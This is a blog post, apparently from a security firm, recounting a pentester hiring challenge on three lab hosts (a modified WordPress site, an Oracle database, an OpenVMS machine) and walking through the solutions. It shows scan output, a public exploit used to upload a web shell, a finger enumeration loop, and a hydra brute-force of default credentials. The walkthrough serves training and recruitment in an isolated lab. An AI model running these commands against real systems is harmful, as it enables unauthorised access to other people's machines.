The story of a pentester recruitment
Last year we decided to expand our pentest team, and we figured that offering a hands-on challenge would be a good filter for possible candidates, since we’ve accumulated quite a bit of experience from organizing wargames and CTF at various events. We provided an isolated network with three hosts and anyone could apply by submitting a name, and email address and a CV – we’ve sent VPN configuration packs to literally everyone who did so. These packs included the following message (the original was in Hungarian).
Your task is to perform a comprehensive (!) security assessment of the hosts within range 10.10.82.100-254.
Typical tasks of a professional penetration tester include
- asking relevant clarifying questions about new projects,
- writing the technical part of business proposals,
- comprehensive penetration testing,
- report writing and presentation.
That is why we decided to test the candidates’ knowledge about the above subjects. The scope of the challenge consisted of 3 servers, report writing and presentation to the technical staff with a time limit of two weeks. Here is our solution:
As a warm-up exercise we created a simple web hacking challenge. Web applications are the most common targets in real-life projects and their typical vulnerabilities are well known. We created our challenge in form of a modified WordPress installation: we killed some security features and added some new vulnerabilities either to the core or in the form of plug-ins.
The default page of the web server was an empty “Index of” page that lead some into thinking that there was nothing hosted on the server. In reality the vulnerable application was located under the /wp/ path that could be easily discovered using most enumeration tools (like DirBuster).
It shouldn’t be long before one could stumble upon the first vulnerability: the search box right on the front page was vulnerable to reflective XSS:
This vulnerability was meant to be a gift to encourage contestants with a little feeling of success. Unfortunately, only one report contained this finding.
The blog also provided some means for authentication. First there was a password protected post, that could be opened using the infamous password “asdf1234”. The catch was that WordPress first hashes the password and places the hash in a cookie that is checked when rendering the post. This way standard login brute-forcers can’t be used but the problem can be solved in many ways. The crypt() method of WordPress can be reused to generate valid cookies or the application can be used as an oracle to generate the appropriate headers – the point was to get the applicant do some basic programming (or at least configuration) work.
The second authentication interface is of course the WordPress login interface (wp-login.php). The teszt:teszt credentials were valid on the system (we are a Hungarian company, “test” is spelled “teszt” in Hungarian). This can be brute-forced with standard tools – if the wordlist is customized for the target. We also provided test accounts for the participants. The given credentials only provided privileges to change basic user information. Although the application sent CSRF tokens with this form, they were not checked by the server.
More serious vulnerabilities could be found by enumerating installed WordPress plugins – wpscan output:
[+] We found 3 plugins: [+] Name: akismet - v2.5.9 | Location: http://10.10.82.153/wp/wp-content/plugins/akismet/<br></br> | Readme: http://10.10.82.153/wp/wp-content/plugins/akismet/readme.txt [+] Name: sexy-contact-form - v0.9.6 | Location: http://10.10.82.153/wp/wp-content/plugins/sexy-contact-form/ | Readme: http://10.10.82.153/wp/wp-content/plugins/sexy-contact-form/readme.txt [!] Title: Creative Contact Form Reference: https://wpvulndb.com/vulnerabilities/7652 Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8739 Reference: http://www.exploit-db.com/exploits/35057/ [i] Fixed in: 1.0.0<br></br> [+] Name: simple-login-log - v1.1.0 | Location: http://10.10.82.153/wp/wp-content/plugins/simple-login-log/ | Readme: http://10.10.82.153/wp/wp-content/plugins/simple-login-log/readme.txt
First take a look at Simple Login Log that “tracks user name, time of login, IP address and browser user agent”. Doing some simple tests on the User-Agent header on login shows that (our version of) the plugin is vulnerable to blind SQL injection:
The Sexy Contact Form is an interesting beast: when we installed the site last August we threw in random plugins to make the application more “interesting”. One of these plugins was SCF that turned out to be vulnerable to remote code execution last October. We left the plugin enabled to see if anyone notices it. No one did, although even the published exploit works out-of-the-box:
$ python 35057.py -t http://10.10.82.153/wp/ -c wordpress -f shell.php [...snip...] [!] Shell Uploaded [!] http://10.10.82.153/wp//wp-content/plugins/sexy-contact-form/includes/fileupload/files/shell.php
Although the web challenge may seem like the easiest one, we tried to insert some more subtle vulnerabilities that would require more thinking and manual work from the contestants. The challenge aimed to
- test if the contestant has a good overview on web application security and
- takes care of every detail of the target.
Sadly, most of them only used fully automated tools, which couldn’t even recognize the most basic XSS (or even find the app). Nobody was able to find the CSRF, the post password, the SQLi or the RCE.
The second challenge was located at 10.10.82.242. A simple port scan shows that there are some Oracle services listening:
Starting Nmap 6.25 ( http://nmap.org ) at 2015-04-01 09:41 CEST Nmap scan report for 10.10.82.242 Host is up (0.021s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 53/tcp open domain dnsmasq 2.45 111/tcp open rpcbind 2 (RPC #100000) 1521/tcp open oracle-tns Oracle TNS Listener 10.2.0.3.0 (for Linux) 30316/tcp open oracle-tns Oracle TNS listener
From here the task was rather simple. One could follow basically any Oracle hacking tutorial to gain access to the database. First we needed to find some valid SIDs:
Then we could use the default wordlist of Metasploit to find some valid accounts:
As we can see, there were accounts registered with DBA role using default credentials. Even the good old scott:tiger combination was valid, and the database was vulnerable to multiple privilege escalation attacks. The time to DBA level access was comparable to the startup time of Metasploit – although it never hurts to have our tools properly configured, of course.
Since DBA level access was easy to achieve, OS level command execution could also be performed. An obvious way was to use Java stored procedures:
After one could overcome the limitations of Runtime.exec() (and SQL*Plus…) the system allowed opening connect-back shells without restriction. After a quick look around, the most elegant way to obtain root privileges was to use the beautiful $ORIGIN expansion exploit of Tavis Ormandy (yes, even GCC was installed):
The challenge presented a basic pentest task and required the candidates to follow basic tutorials (if they didn’t have enough Oracle-fu in their fingers, for example: http://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf). The most time consuming part was likely installing Oracle instant client and configuring Metaploit.
Only one participant was able to obtain DBA privileges, no one could execute OS level commands.
The last target machine was located at 10.10.82.200. First of all the candidate should have done a port scan:
root@s2crew:~# nmap -sV -v -n -T4 -sC 10.10.82.200 Nmap scan report for 10.10.82.200 Host is up (0.036s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp OpenVMS ftpd 5.1 23/tcp open telnet Pocket CMD telnetd 53/tcp open domain dnsmasq 2.45 | dns-nsid: |_ bind.version: dnsmasq-2.45 79/tcp open finger OpenVMS fingerd | finger: Username Program Login Term/Location |_SYSTEM $ Sun 02:21 110/tcp open pop3 |_pop3-capabilities: ERROR: Script execution failed (use -d to debug) MAC Address: 00:0C:29:3E:C1:FC (VMware) Service Info: Host: vms.silentsignal.hu; OS: OpenVMS; CPE: cpe:/o:hp:openvms
Oh, yes! This is an unbreakable OpenVMS operating system. I think there are only a couple of hackers out there who have remote exploits effective against this target. But a real hacker must solve the problems and discover the weak points of the tested systems, applications.
There is a finger service running on the host. Use Google to collect default OpenVMS accounts (http://cd.textfiles.com/group42/PHREAK/XENON/XENON7.HTM).
Having that, a simple shell script is enough to check the valid users:
root@s2crew:~# for i in `cat tmp.txt`;do finger $firstname.lastname@example.org;done [10.10.82.200] Username Program Login Term/Location SYSTEM $ Sun 02:21 Login name: SYSTEM In real life: SYSTEM MANAGER Account: SYSTEM Directory: SYS$SYSROOT:[SYSMGR] Last login: Tue 10-DEC-2013 19:17:20 No Plan. [10.10.82.200] Login name: FIELD In real life: FIELD SERVICE Account: FIELD Directory: SYS$SYSROOT:[SYSMAINT] Last login: [Never logged in] No Plan. [10.10.82.200] Login name: SUPPORT In real life: ??? [10.10.82.200] Login name: SYSMAINT In real life: ??? [10.10.82.200] Login name: SYSTEST In real life: SYSTEST-UETP Account: SYSTEST Directory: SYS$SYSROOT:[SYSTEST] Last login: [Never logged in] No Plan. [10.10.82.200] Login name: SYSTEST_CLIG In real life: ??? [10.10.82.200] Login name: DEFAULT In real life: ??? [10.10.82.200] Login name: DECNET In real life: ??? [10.10.82.200] Login name: OPERATIONS In real life: ??? [10.10.82.200] Login name: USER In real life: ??? [10.10.82.200] Login name: LIBRARY In real life: LIBRARY Account: LIBRARY Directory: SYS$SYSDEVICE:[LIBRARY] Last login: Tue 10-DEC-2013 19:49:55 No Plan. [10.10.82.200] Login name: GUEST In real life: ??? [10.10.82.200] Login name: DEMO In real life: DEMO Account: DEMO Directory: SYS$SYSDEVICE:[DEMO] Last login: Tue 10-DEC-2013 19:43:11 No Plan. [10.10.82.200] Login name: HYTELNET In real life: ???
There are lots of default user accounts in the system. Let’s see the default username/password combinations:
root@s2crew:~# hydra -L tmp.txt -e nsr -p 123456 telnet://10.10.82.200 Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2015-03-25 11:14:40 [WARNING] telnet is by its nature unreliable to analyze reliable, if possible better choose FTP or SSH if available [DATA] 16 tasks, 1 server, 60 login tries (l:15/p:4), ~3 tries per task [DATA] attacking service telnet on port 23 [STATUS] 37.00 tries/min, 37 tries in 00:01h, 23 todo in 00:01h, 16 active [telnet] host: 10.10.82.200 login: LIBRARY password: LIBRARY [STATUS] attack finished for 10.10.82.200 (waiting for children to finish) 1 of 1 target successfuly completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2015-03-25 11:16:19
The candidate could log in with the LIBRARY/LIBRARY account into the system:
root@s2crew:~# telnet 10.10.82.200 Trying 10.10.82.200... Connected to 10.10.82.200. Escape character is '^]'. Welcome to OpenVMS (TM) VAX Operating System, Version V7.3 Username: LIBRARY Password: Welcome to OpenVMS (TM) VAX Operating System, Version V7.3 Last interactive login on Tuesday, 10-DEC-2013 20:07 1 failure since last successful login $
Done! This kind of attack is really old and common; it takes approximately 5 to 10 minutes. We wanted to make sure that the candidate
- was not of afraid exotic or unknown systems,
- knew basic hacking concepts, and
- could use Google.
None of the candidates could solve this task!
For the report writing, the candidate should have used a search engine like Google. Some relevant and good results from the first page of the penetration testing report query:
Most people were never heard from again, two guys thanked us for the chance, and few candidates submitted an actual report.
The challenges were simple and common pentesting tasks. Most contestants couldn’t think like a professional hacker, but the bigger problem was that they couldn’t seem to use Google either. This is really surprising since some CVs were really impressive, including good research and relevant experience at international security companies. It quickly turned out though that a nice reference doesn’t replace hands-on experience. Most approached the challenges in a wrong way that suggests a lack of general concepts w.r.t systems security.
For those who want to make a career in penetration testing, we have two suggestions: Try harder and never stop learning!
For those who want to hire pentesters: In this profession papers are poor indicators. Real skills show themselves during real exercises.
And finally from our side: We are really, really disappointed :(
The Silent Signal pentest crew